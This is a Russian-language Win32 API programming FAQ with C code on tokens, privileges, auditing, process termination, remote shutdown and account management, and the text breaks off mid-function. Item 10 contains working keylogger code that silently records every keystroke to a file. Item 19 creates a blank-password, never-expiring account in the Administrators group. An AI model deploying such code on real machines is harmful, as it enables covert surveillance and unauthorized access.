Win32 API FAQ
1)----------------------------------------------------------------------------
Q> Как определить,принадлежит ли юзер группе администраторов?
A> Два метода в одном флаконе:
#include
#include
#include
#pragma hdrstop
#pragma comment( lib, "netapi32.lib" )
// My thanks to Jerry Coffin (Адрес электронной почты защищен от спам-ботов. Для просмотра адреса в вашем браузере должен быть включен Javascript.)
// for this much simpler method.
bool jerry_coffin_method()
{
bool result;
DWORD rc;
wchar_t user_name[256];
USER_INFO_1 *info;
DWORD size = sizeof( user_name );
GetUserNameW( user_name, &size);
rc = NetUserGetInfo( NULL, user_name, 1, (byte **) &info );
if ( rc != NERR_Success )
return false;
result = info->usri1_priv == USER_PRIV_ADMIN;
NetApiBufferFree( info );
return result;
}
bool look_at_token_method()
{
int found;
DWORD i, l;
HANDLE hTok;
PSID pAdminSid;
SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY;
byte rawGroupList[4096];
TOKEN_GROUPS& groupList = *( (TOKEN_GROUPS *) rawGroupList );
if ( ! OpenThreadToken( GetCurrentThread(), TOKEN_QUERY, FALSE, &hTok ) )
{
printf( "Cannot open thread token, trying process token [%lu].\n",
GetLastError() );
if ( ! OpenProcessToken( GetCurrentProcess(), TOKEN_QUERY, &hTok ) )
{
printf( "Cannot open process token, quitting [%lu].\n",
GetLastError() );
return 1;
}
}
// normally, I should get the size of the group list first, but ...
l = sizeof rawGroupList;
if ( ! GetTokenInformation( hTok, TokenGroups, &groupList, l, &l ) )
{
printf( "Cannot get group list from token [%lu].\n",
GetLastError() );
return 1;
}
// here, we cobble up a SID for the Administrators group, to compare to.
if ( ! AllocateAndInitializeSid( &ntAuth, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdminSid ) )
{
printf( "Cannot create SID for Administrators [%lu].\n",
GetLastError() );
return 1;
}
// now, loop through groups in token and compare
found = 0;
for ( i = 0; i < groupList.GroupCount; ++ i )
{
if ( EqualSid( pAdminSid, groupList.Groups[i].Sid ) )
{
found = 1;
break;
}
}
FreeSid( pAdminSid );
CloseHandle( hTok );
return !!found;
}
int main()
{
bool j, l;
j = jerry_coffin_method();
l = look_at_token_method();
printf( "NetUserGetInfo(): The current user is %san Administrator.\n",
j? "": "not " );
printf( "Process token: The current user is %sa member of the Administrators
group.\n",
l? "": "not " );
return 0;
}
{mospagebreak}
2)----------------------------------------------------------------------------
Q> Как узнать какие привилегии есть у пользователя ?
A>
#include
#include
#pragma hdrstop
void main()
{
HANDLE hToken;
LUID setcbnameValue;
TOKEN_PRIVILEGES tkp;
DWORD errcod;
LPVOID lpMsgBuf;
LPCTSTR msgptr;
UCHAR InfoBuffer[1000];
PTOKEN_PRIVILEGES ptgPrivileges = (PTOKEN_PRIVILEGES) InfoBuffer;
DWORD dwInfoBufferSize;
DWORD dwPrivilegeNameSize;
DWORD dwDisplayNameSize;
UCHAR ucPrivilegeName[500];
UCHAR ucDisplayName[500];
DWORD dwLangId;
UINT i;
if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
puts( "OpenProcessToken" );
return;
}
// ---------------------------------------------------------------------
// enumerate currently held privs (NOTE: not *enabled* privs, just the
// ones you _could_ enable as in the last part)
GetTokenInformation( hToken, TokenPrivileges, InfoBuffer,
sizeof InfoBuffer, &dwInfoBufferSize);
printf( "Account privileges: \n\n" );
for( i = 0; i < ptgPrivileges->PrivilegeCount; i ++ )
{
dwPrivilegeNameSize = sizeof ucPrivilegeName;
dwDisplayNameSize = sizeof ucDisplayName;
LookupPrivilegeName( NULL, &ptgPrivileges->Privileges[i].Luid,
ucPrivilegeName, &dwPrivilegeNameSize );
LookupPrivilegeDisplayName( NULL, ucPrivilegeName,
ucDisplayName, &dwDisplayNameSize, &dwLangId );
printf( "%40s (%s)\n", ucDisplayName, ucPrivilegeName );
}
}
3)----------------------------------------------------------------------------
Q> Как узнать SID юзера?
A> Из исходника getadmin:
BOOL
GetAccountSid(
LPTSTR SystemName,
LPTSTR AccountName,
PSID *Sid
)
{
LPTSTR ReferencedDomain=NULL;
DWORD cbSid=128; // initial allocation attempt
DWORD cbReferencedDomain=16; // initial allocation size
SID_NAME_USE peUse;
BOOL bSuccess=FALSE; // assume this function will fail
__try {
//
// initial memory allocations
//
if((*Sid=HeapAlloc(
GetProcessHeap(),
0,
cbSid
)) == NULL) __leave;
if((ReferencedDomain=(LPTSTR)HeapAlloc(
GetProcessHeap(),
0,
cbReferencedDomain
)) == NULL) __leave;
//
// Obtain the SID of the specified account on the specified system.
//
while(!LookupAccountName(
SystemName, // machine to lookup account on
AccountName, // account to lookup
*Sid, // SID of interest
&cbSid, // size of SID
ReferencedDomain, // domain account was found on
&cbReferencedDomain,
&peUse
)) {
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
//
// reallocate memory
//
if((*Sid=HeapReAlloc(
GetProcessHeap(),
0,
*Sid,
cbSid
)) == NULL) __leave;
if((ReferencedDomain=(LPTSTR)HeapReAlloc(
GetProcessHeap(),
0,
ReferencedDomain,
cbReferencedDomain
)) == NULL) __leave;
}
else __leave;
}
//
// Indicate success.
//
bSuccess=TRUE;
} // finally
__finally {
//
// Cleanup and indicate failure, if appropriate.
//
HeapFree(GetProcessHeap(), 0, ReferencedDomain);
if(!bSuccess) {
if(*Sid != NULL) {
HeapFree(GetProcessHeap(), 0, *Sid);
*Sid = NULL;
}
}
} // finally
return bSuccess;
}
{mospagebreak}
4)----------------------------------------------------------------------------
Q> Как SID привести к текстовому виду(например для загрузки HKEY_USERS)?
A> См.исходник:
// nearly straight from the SDK
BOOL Sid2Text( PSID ps, char *buf, int bufSize )
{
PSID_IDENTIFIER_AUTHORITY psia;
DWORD dwSubAuthorities;
DWORD dwSidRev = SID_REVISION;
DWORD i;
int n, size;
char *p;
// Validate the binary SID.
if ( ! IsValidSid( ps ) )
return FALSE;
// Get the identifier authority value from the SID.
psia = GetSidIdentifierAuthority( ps );
// Get the number of subauthorities in the SID.
dwSubAuthorities = *GetSidSubAuthorityCount( ps );
// Compute the buffer length.
// S-SID_REVISION- + IdentifierAuthority- + subauthorities- + NULL
size = 15 + 12 + ( 12 * dwSubAuthorities ) + 1;
// Check input buffer length.
// If too small, indicate the proper size and set last error.
if ( bufSize < size )
{
SetLastError( ERROR_INSUFFICIENT_BUFFER );
return FALSE;
}
// Add 'S' prefix and revision number to the string.
size = wsprintf( buf, "S-%lu-", dwSidRev );
p = buf + size;
// Add SID identifier authority to the string.
if ( psia->Value[0] != 0 || psia->Value[1] != 0 )
{
n = wsprintf( p, "0x%02hx%02hx%02hx%02hx%02hx%02hx",
(USHORT) psia->Value[0], (USHORT) psia->Value[1],
(USHORT) psia->Value[2], (USHORT) psia->Value[3],
(USHORT) psia->Value[4], (USHORT) psia->Value[5] );
size += n;
p += n;
}
else
{
n = wsprintf( p, "%lu", ( (ULONG) psia->Value[5] ) +
( (ULONG) psia->Value[4] << 8 ) + ( (ULONG) psia->Value[3] << 16 ) +
( (ULONG) psia->Value[2] << 24 ) );
size += n;
p += n;
}
// Add SID subauthorities to the string.
for ( i = 0; i < dwSubAuthorities; ++ i )
{
n = wsprintf( p, "-%lu", *GetSidSubAuthority( ps, i ) );
size += n;
p += n;
}
return TRUE;
}
5)----------------------------------------------------------------------------
Q> Как дать(забрать)привилегии?
A> (c)"Getadmin"
#include
#include
NTSTATUS
SetPrivilegeOnAccount(
LSA_HANDLE PolicyHandle, // open policy handle
PSID AccountSid, // SID to grant privilege to
LPWSTR PrivilegeName, // privilege to grant (Unicode)
BOOL bEnable // enable or disable
)
{
LSA_UNICODE_STRING PrivilegeString;
//
// Create a LSA_UNICODE_STRING for the privilege name.
//
InitLsaString(&PrivilegeString, PrivilegeName);//см.ниже
//
// grant or revoke the privilege, accordingly
//
if(bEnable) {
return LsaAddAccountRights(
PolicyHandle, // open policy handle
AccountSid, // target SID
&PrivilegeString, // privileges
1 // privilege count
);
}
else {
return LsaRemoveAccountRights(
PolicyHandle, // open policy handle
AccountSid, // target SID
FALSE, // do not disable all rights
&PrivilegeString, // privileges
1 // privilege count
);
}
}
{mospagebreak}
6)----------------------------------------------------------------------------
Q> А как для вышеприведенного фрагмента получить хэндл полиси???
A>
#include
#include
void
InitLsaString(
PLSA_UNICODE_STRING LsaString,
LPWSTR String
)
{
DWORD StringLength;
if (String == NULL) {
LsaString->Buffer = NULL;
LsaString->Length = 0;
LsaString->MaximumLength = 0;
return;
}
StringLength = wcslen(String);
LsaString->Buffer = String;
LsaString->Length = (USHORT) StringLength * sizeof(WCHAR);
LsaString->MaximumLength=(USHORT)(StringLength+1) * sizeof(WCHAR);
}
//----------------------------------------------------------------------
NTSTATUS
OpenPolicy(
LPWSTR ServerName,
DWORD DesiredAccess,
PLSA_HANDLE PolicyHandle
)
{
LSA_OBJECT_ATTRIBUTES ObjectAttributes;
LSA_UNICODE_STRING ServerString;
PLSA_UNICODE_STRING Server = NULL;
//
// Always initialize the object attributes to all zeroes.
//
ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes));
if (ServerName != NULL) {
//
// Make a LSA_UNICODE_STRING out of the LPWSTR passed in
//
InitLsaString(&ServerString, ServerName);
Server = &ServerString;
}
//
// Attempt to open the policy.
//
return LsaOpenPolicy(
Server,
&ObjectAttributes,
DesiredAccess,
PolicyHandle
);
}
7)---------------------------------------------------------------------------
Q> Как взять себе привилегию?
A> Hапример берем привилегию отладки программ:
void getDebugPriv( void )
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
return;
if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
{
CloseHandle( hToken );
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL );
CloseHandle( hToken );
}
{mospagebreak}
8)----------------------------------------------------------------------------
Q> Как включить/выключить аудит?
A>
#include
#include
#include
#pragma hdrstop
// This code was kindly provided by Marc Esipovich, Адрес электронной почты защищен от спам-ботов. Для просмотра адреса в вашем браузере должен быть включен Javascript..
// The original filename was "isauditon.c".
// Modifications by felixk:
// IsAuditOn() now accepts a BOOL; if FALSE, the code will
// _not_ force the audit settings to ON.
// Changed return type to int, as it may return 0, 1, -1.
// Added a small main() to call IsAuditOn(FALSE).
/*
RETURNS: 1 if Auditing has been enabled, 0 if no action taken, -1 on error.
COMMENT: Automatically enables all audit policy events.
Values are, 0 for no log at all, 1 for success only, 2 for failure only,
3 for both success and failure.
typedef struct _POLICY_BUFFER {
DWORD IsAuditEnabled; // 1 = ON, 0 = OFF.
PVOID pPolicies; // pointer to the start policy struct.
DWORD restart_shutdown_and_system;
DWORD junk1;
DWORD logon_and_logoff;
DWORD junk2;
DWORD file_and_object_access;
DWORD junk3;
DWORD use_of_user_rights;
DWORD junk4;
DWORD process_tracking;
DWORD junk5;
DWORD security_policy_changes;
DWORD junk6;
DWORD user_and_group_management;
DWORD junk7;
} POLICY_BUFFER, *PPOLICY_BUFFER;
*/
int IsAuditOn( BOOL forceAuditOn )
{
int rc = 0;
POLICY_ACCOUNT_DOMAIN_INFO *ppadi = NULL;
SECURITY_QUALITY_OF_SERVICE sqos;
LSA_OBJECT_ATTRIBUTES lsaOA;
LSA_HANDLE polHandle;
NTSTATUS nts;
// fill the Quality Of Service struct.
sqos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
sqos.ImpersonationLevel = SecurityImpersonation;
sqos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
sqos.EffectiveOnly = FALSE;
// fill the Object Attributes struct.
lsaOA.Length = sizeof(LSA_OBJECT_ATTRIBUTES);
lsaOA.RootDirectory = NULL;
lsaOA.ObjectName = NULL;
lsaOA.Attributes = 0;
lsaOA.SecurityDescriptor = NULL;
lsaOA.SecurityQualityOfService = &sqos;
nts = LsaOpenPolicy(
NULL, // NULL = current machine.
&lsaOA,
POLICY_VIEW_LOCAL_INFORMATION | GENERIC_READ | GENERIC_EXECUTE |
POLICY_ALL_ACCESS,
&polHandle);
if (nts != 0) return -1;
nts = LsaQueryInformationPolicy(
polHandle,
PolicyAuditEventsInformation,
&ppadi);
if (nts != 0) return -1;
if ( forceAuditOn )
{
// set policies
ppadi->DomainName.Buffer[0] = 3; // restart_shutdown_and_system
ppadi->DomainName.Buffer[2] = 3; // logon_and_logoff
ppadi->DomainName.Buffer[4] = 3; // file_and_object_access
ppadi->DomainName.Buffer[6] = 3; // use_of_user_rights
ppadi->DomainName.Buffer[8] = 3; // process_tracking
ppadi->DomainName.Buffer[10] = 3; // security_policy_changes
ppadi->DomainName.Buffer[12] = 3; // user_and_group_management
ppadi->DomainName.Length = 1;
nts = LsaSetInformationPolicy(
polHandle,
PolicyAuditEventsInformation,
ppadi);
if (nts != 0) return -1;
rc = 1;
}
LsaFreeMemory(polHandle);
return rc;
}
{mospagebreak}
int main( void )
{
int rc;
rc = IsAuditOn( FALSE );
if ( rc == 1 )
puts( "Auditing has been enabled." );
else if ( rc == 0 )
puts( "The audit state is unchanged." );
else
puts( "Oops!" );
return 0;
}
9)---------------------------------------------------------------------------
Q> Как грохнуть процесс(в том числе системный)?
A>
#include
#include
#pragma hdrstop
// fkill forces a kill -- it will attempt to enable SeDebugPrivilege
// before opening its process handles, allowing it to kill processes
// running under builtin\system (LocalSystem, to the users out there).
int main( int argc, char *argv[] );
void getDebugPriv( void );
#define isBadHandle(h) ( (h) == NULL || (h) == INVALID_HANDLE_VALUE )
#define lenof(x) ( sizeof (x) / sizeof ((x)[0]) )
const int MAXPID = 1024;
int main( int argc, char *argv[] )
{
int pidCount, i, errors;
char *p;
HANDLE hProcess;
static DWORD pid[MAXPID];
// parse args, build PID list
errors = pidCount = 0;
for ( i = 1; i < argc; i ++ )
{
if ( pidCount == lenof( pid ) ) {
errors ++;
break;
}
pid[pidCount] = strtol( argv[i], &p, 0 );
if ( p == argv[i] || *p )
errors ++;
else
pidCount ++;
}
if ( errors || pidCount == 0 )
{
puts( "Usage: fkill pid [...]" );
puts( "fkill tries to kill the processes specified by the PIDs. If the" );
puts( "user has debug privileges, fkill is able to kill system processes." );
puts( "PIDs may be decimal, octal (starts with 0), or hex (starts with 0x)."
);
return MAXPID + 1;
}
// try to acquire SeDebugPrivilege
getDebugPriv(); //см. faq выше
errors = 0;
// for each PID:
for ( i = 0; i < pidCount; i ++ )
{
printf( "pid %lu: ", pid[i] );
// open process
hProcess = OpenProcess( PROCESS_TERMINATE, FALSE, pid[i] );
if ( isBadHandle( hProcess ) )
printf( "OpenProcess() failed, err = %lu\n", GetLastError() );
else
{
// kill process
if ( ! TerminateProcess( hProcess, (DWORD) -1 ) )
printf( "TerminateProcess() failed, err = %lu\n", GetLastError() );
else
puts( "killed." );
// close handle
CloseHandle( hProcess );
}
}
return 0;
}
{mospagebreak}
10)---------------------------------------------------------------------------
Q> Как поставить system-wide хук(например писать в файл все нажатия кнопок)
A>
Для этого хук должен жить в длл.
текст DLL:
BOOL kdown=false;
HANDLE ghDLLInst = 0; // Handle to the DLL's instance.
char logname[MAX_PATH];
char sysdir[MAX_PATH];
DWORD NOfBytes;
BOOL shift=false;
HANDLE LFile;
char buffer[20];
BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
{
ghDLLInst = hModule;
switch (dwFunction)
{
case DLL_PROCESS_ATTACH:
{
GetSystemDirectory(
sysdir,
MAX_PATH
);
strcpy(logname,sysdir);
strcat(logname,"\\kbdkeys.txt");
}
case DLL_PROCESS_DETACH:
{
}
default:
break;
}
return TRUE;
}
//------------------------------------------------
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
BYTE aa[4];
memcpy(aa,&lParam,4);
kdown=!(aa[3]&&64);
BYTE scancode=aa[2];
BYTE ww[4];
memcpy(ww,&wParam,4);
if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);
if(kdown&&(wParam==VK_SHIFT))shift=true;
if(!kdown&&(wParam==VK_SHIFT))shift=false;
if (kdown&&(wParam!=VK_SHIFT))
{
sprintf( buffer ,"%c",wParam );
if(isalpha(ww[0])&(!shift))wParam=wParam+32;
sprintf( buffer ,"%c",wParam );
if(wParam==VK_RETURN)strcpy(buffer,"\n");
LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_WRITE |
FILE_SHARE_READ |
FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
OVERLAPPED ovlp;
DWORD ffsze=GetFileSize(LFile,NULL);
ovlp.OffsetHigh=0;
ovlp.hEvent=NULL;
ovlp.Offset=ffsze;
WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
CloseHandle(LFile);
}
return CallNextHookEx(NULL,code,wParam,lParam);
}
//----------------------------------------------------------------------//
текст приложения:
#include
#include
#include
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow);
//---------------------------------------------------------------------//
BOOL
SetHook(
BOOL fSet
)
{
static HHOOK hhkKbdHook = NULL;
static HANDLE hmodHook;
if (fSet)
{
if (!hmodHook)
{
if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл
{
return FALSE;
}
}
if (!hhkKbdHook)
{
if (!(hhkKbdHook =
SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)
GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),
(HINSTANCE)hmodHook,0)))
{
return FALSE;
}
}
}
else
{
if (hhkKbdHook)
{
UnhookWindowsHookEx(hhkKbdHook);
hhkKbdHook = NULL;
}
}
return TRUE;
}
//--------------------------------------------------------------------//
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK);
MSG msg;
while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return( 0 );
}
{mospagebreak}
11)---------------------------------------------------------------------------
Q> Как зашутдаунить удаленный компьютер?
A>
int main(int argc, char **argv)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
//-------------------
char *name=""; // address of name of computer to shut down
char *msg=""; //address of message to display in dialog box
DWORD time=0; // time to display dialog box
bool force=true; // force applications with unsaved changes flag
bool reboot=true; //reboot flag
//---------------------------------------------------------------------
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken);
if(!LookupPrivilegeValue(name, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid)){
printf ("SE_SHUTDOWN_NAME Privilege облом \n");
return 1 ;};
tkp.PrivilegeCount =1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(!LookupPrivilegeValue(name,
SE_REMOTE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid)){
printf("SE_REMOTE_SHUTDOWN_NAME Privilege облом \n");
return 2 ;};
tkp.PrivilegeCount =1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if (InitiateSystemShutdown(name,msg,time,force,reboot))
printf("%s shutdown Ok\n",name);
else printf("Can't shutdown %s \n",name);
return 0;
}
12)----------------------------------------------------------------------------
Q> Как сделать чтобы окошко не появлялось на таскбаре?
A>
There is more than one way to stop a window appearing on the taskbar.
Rather than WS_EX_APPWINDOW, give your window the WS_EX_TOOLWINDOW extended
style. Since toolbars don't appear on the taskbar, this will prevent it
appearing there. Unfortunately, this has some rather negative repercussions
on the appearance of your window : it gets a thin caption with smaller title,
and loses its system menu. This is not acceptable to many people.
Windows owned by an invisible window won't appear on the taskbar. "Great",
say you, "but my app is dialog based, so what now Mr Smarty ?". Well, you can
either recast your dialog app as an SDI with a hidden main window, and have
that main window shown at startup, or you can create your own hidden window
and set that as your dialogs owner.
13)---------------------------------------------------------------------------
Q> Как запустить(придушить) скринсэйвер
A>
Starting
The method for starting a screen saver is simple, but surprising. You post your
own window a message ! Post yourself the WM_SYSCOMMAND message with the
SC_SCREE
NSAVE parameter :
// Uses MFC CWnd::PostMessage
PostMessage (WM_SYSCOMMAND, SC_SCREENSAVE);
Stopping
Stopping a screen saver is somewhat more complex. The Microsoft-documented
way of doing this is to look for the special screen-saver desktop, enumerate
all windows on that desktop, and close them, as follows:
hdesk = OpenDesktop(TEXT("Screen-saver"),
0,
FALSE,
DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS);
if (hdesk)
{
EnumDesktopWindows (hdesk, (WNDENUMPROC)KillScreenSaverFunc, 0);
CloseDesktop (hdesk);
}
// ----------------------------------------------------------------
BOOL CALLBACK KillScreenSaverFunc (HWND hwnd, LPARAM lParam)
{
PostMessage(hwnd, WM_CLOSE, 0, 0);
return TRUE;
}
{mospagebreak}
However, I can't recommend this approach. I have found when using this code,
NT4 very occasionally seems to get confused and pass you back the normal
desktop handle, in which case you end up trying to close all the normal
application windows. Note, in MS' defence, that the code above for closing
32 bit savers is derived from a sample that is only marked as valid for
NT3.51 - there is no mention of NT4 in the sample. Unfortunately, there is
also nothing to indicate that it doesn't work properly.
I have subsequently performed some tests, and found that the stock screen
savers supplied with NT4 will in any case get a hit on the window class search
normally used for 16 bit savers ("WindowsScreenSaverClass"). I don't believe
for a moment that the OpenGL savers (for example) are 16 bit, so maybe MS are
supplying a saver window class that will give the necessary hit. So anyway, you
can use this route :
HWND hSaver = FindWindow ("WindowsScreenSaverClass", NULL);
if (hSaver)
PostMessage (hSaver, WM_CLOSE, 0, 0);
Yet another alternative is now available, which depends upon new functionality
in SystemParametersInfo. This should be even more general :
BOOL bSaver;
if (::SystemParametersInfo (SPI_GETSCREENSAVEACTIVE,0,&bSaver,0))
{
if (bSaver)
{
::PostMessage (::GetForegroundWindow(), WM_CLOSE, 0L, 0L);
}
}
So you can try that one as well. An embarassment of riches !
14)--------------------------------------------------------------------------
Q> Как узнать ip адрес(а) машины (в текстовом виде)?
A> Кусок исходника от плугина к BackOrifice:
//---------------------------------------------------
void MachineIP(char *result)
{
WSADATA WSAData;
WSAStartup(MAKEWORD(1,1), &WSAData);
char dot[6];
int iResult;
int i = 0;
u_long *ppIpNO;
u_long *pIpNO;
HOSTENT FAR *lphostent;
u_long ipHO;
unsigned char binIp[4];
int iterations = 0;
//Get local host name and crudely validate
char szHostName[100];
*result = 0;
iResult = gethostname(szHostName, sizeof(szHostName));
// printf("%d %s",iResult,szHostName);
if ((iResult != 0) || (lstrcmp(szHostName, "")==0))
return;
//Lok up this host info via supplied name
lphostent = gethostbyname(szHostName);
if (lphostent == NULL)
return;
//Retreive first entry (might have multiple connects)
do
{
iterations++;
ppIpNO = (u_long *)lphostent->h_addr_list;
if (ppIpNO+i == NULL)
return;
pIpNO = ((u_long *)*(ppIpNO+i));
if (pIpNO == NULL)
return;
//convert back to host order, since SOCKADDR_IN expects that
//MessageBox(NULL,"z","x",MB_OK);
ipHO = ntohl(*pIpNO);
binIp[0] = (BYTE)((ipHO & 0xff000000) >> 24);
itoa(binIp[0], dot, 10);
strcat(result,dot);
binIp[1] = (BYTE)((ipHO & 0x00ff0000) >> 16);
itoa(binIp[1], dot, 10);
strcat(result, "."); strcat(result, dot);
binIp[2] = (BYTE)((ipHO & 0x0000ff00) >> 8);
itoa(binIp[2], dot, 10);
strcat(result, "."); strcat(result, dot);
binIp[3] = (BYTE)(ipHO & 0x000000ff);
itoa(binIp[3], dot, 10);
strcat(result,"."); strcat(result, dot);
strcat(result,"\r\n");
i++;
} while ((pIpNO != NULL) && (iterations < 6));
WSACleanup();
PostQuitMessage(0);
return;
}
15)--------------------------------------------------------------------------
Q> Как определить тип Windows на компьютере?
A>
bool OsTypeNT(void)
{
OSVERSIONINFO vi;
vi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&vi);
if (vi.dwPlatformId==VER_PLATFORM_WIN32_NT)
return true;
return false;
}
{mospagebreak}
16)--------------------------------------------------------------------------
Q> Как подключить сетевой диск?
A>
DWORD ConnectRemoteDrive(LPSTR ShareName,LPSTR LocalDrive)
{
NETRESOURCE nr;
ZeroMemory(&nr,sizeof(nr));
nr.dwScope=RESOURCE_GLOBALNET;
nr.dwType=RESOURCETYPE_DISK;//RESOURCETYPE_ANY;
nr.dwDisplayType=RESOURCEDISPLAYTYPE_GENERIC;
nr.dwUsage=RESOURCEUSAGE_CONNECTABLE;
nr.lpLocalName=LocalDrive;
nr.lpRemoteName=ShareName;
nr.lpComment="";
nr.lpProvider=NULL;
return WNetAddConnection2(&nr, // NETRESOURCE from enumeration
(LPSTR) NULL, // no password
(LPSTR) NULL, // logged-in user
CONNECT_UPDATE_PROFILE); // update profile with connect info
}
17)-------------------------------------------------------------------------
Q> А как его отключить?
A> WNetCancelConnection2(LPSTR LocalDrive,CONNECT_UPDATE_PROFILE,TRUE);
18)-------------------------------------------------------------------------
Q> Как послать сообщение юзеру(а-ля net send)
A>
Вариант 1:
NET_API_STATUS x=NetMessageBufferSend(
LPTSTR servername,
LPTSTR msgname,
LPTSTR fromname,
LPBYTE buf,
DWORD buflen
);
Вариант 2:
Можно через CreateFile/WriteFile, но в этом случае можно послать сообщение
только компьютеру либо на локальную рабочую группу.
Вот пример:(работает как под NT так и под 9x);
HANDLE hSlot = CreateFile("\\\\computername\\mailslot\\messngr",
GENERIC_WRITE, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hSlot != INVALID_HANDLE_VALUE)
{
char buf = "From\0\To\0Message\0";
uint cb = sizeof(buf);
WriteFile(hSlot, buf, cb, &cb, NULL);
CloseHandle(hSlot);
}
19)--------------------------------------------------------------------------
Q> Как создать юзера и дать ему права?
A>
NET_API_STATUS UserAdd(LPSTR username) //(c) Serge Andyk
{
// некоторые используемые функции описаны выше
USER_INFO_2 user_info;
char compname[256];
wchar_t wcompname[256];
DWORD parm_err=0;
LSA_HANDLE PolicyHandle;
LPTSTR lpszSystemInfo; // ptr. to system info. string
DWORD cchBuff = 256; // size of comp. or user name
TCHAR tchBuffer2[256]; // buffer for concat'd. str.
WCHAR wGroupNameAdd[20]=L"Administrators";
lpszSystemInfo = tchBuffer2;
ZeroMemory(&user_info,sizeof(user_info));
GetComputerName(lpszSystemInfo, &cchBuff);
strcpy(compname,"\\\\");
strcat(compname,lpszSystemInfo);
mbstowcs( wcompname, compname, strlen(compname)+1 );
mbstowcs(user_info.usri2_name,username, strlen(username)+1 );
//-------создаем юзера------------//
user_info.usri2_password = L"";
user_info.usri2_priv = USER_PRIV_USER;
user_info.usri2_flags =
UF_SCRIPT|UF_PASSWD_CANT_CHANGE|UF_DONT_EXPIRE
_PASSWD|UF_NORMAL_ACCOUNT;
user_info.usri2_acct_expires=TIMEQ_FOREVER;
NetUserAdd(wcompname,// PDC name
2L, // level
(LPBYTE)&user_info, // input buffer
&parm_err ); // parameter in error
GetAccountSid(
NULL, // default lookup logic
username, // account to obtain SID
&pSid // buffer to allocate to contain resultant SID
);
NetLocalGroupAddMember(0,wGroupNameAdd,pSid);
//---------даем ему кое-какие права-----------//
OpenPolicy(
wcompname, // target machine
POLICY_ALL_ACCESS,
&PolicyHandle // resultant policy handle
);
{mospagebreak}
SetPrivilegeOnAccount(
PolicyHandle, // policy handle
pSid, // SID to grant privilege
L"SeInteractiveLogonRight", // Unicode privilege
TRUE // enable the privilege
);
SetPrivilegeOnAccount(
PolicyHandle,
pSid,
L"SeNetworkLogonRight",
TRUE
);
LsaClose(PolicyHandle);
return 0;
}
20)--------------------------------------------------------------------------
Q> Как узнать какие пользователи есть на моей (или не моей) машине
A>
#define STRICT
#include
#include
#include
#include
void UserEnum()
{
BOOL keepGoing = TRUE ;
DWORD entriesRead, totalEntries ;
USER_INFO_2 * pInfo = NULL ;
DWORD resumeHandle = 0 ; // must be 0 to start with
char nameBuf[ UNLEN + 1 ] ; // constants defined in LMCONS.H
char commentBuf[ MAXCOMMENTSZ + 1 ] ;
WCHAR serverName[ 100 ] ;
lstrcpyW( serverName, L"\\\\PDC" ) ; //L"" ) ;
while ( keepGoing )
{
NET_API_STATUS ret = NetUserEnum(
serverName, //NULL,
2,
0, //FILTER_NORMAL_ACCOUNT,
(LPBYTE *)&pInfo, // Important: ADDRESS of POINTER
sizeof( USER_INFO_2 ) * 100, // requested buffer size;
&entriesRead,
&totalEntries,
&resumeHandle ) ;
keepGoing = ( ret == ERROR_MORE_DATA ) ;
if ( ret == 0 || ret == ERROR_MORE_DATA )
{
DWORD i ;
for ( i = 0 ; i < entriesRead ; i++ )
{
// Note that strings in the INFO structures
// will ALWAYS be Unicode, regardless of
// your settings! Even though they're declared
// as LPTSTR, they're always LPWSTR.
// I'm compiling for non-Unicode, so I
// convert them to ANSI strings...
// Check for NULL pointers in the INFO structure
LPWSTR pName = (LPWSTR)pInfo[ i ].usri2_name ;
LPWSTR pComm = (LPWSTR)pInfo[ i ].usri2_comment ;
if ( pName == NULL )
{
lstrcpy( nameBuf, "(no name!)" ) ;
}
else if ( lstrlenW( pName ) == 0 )
{
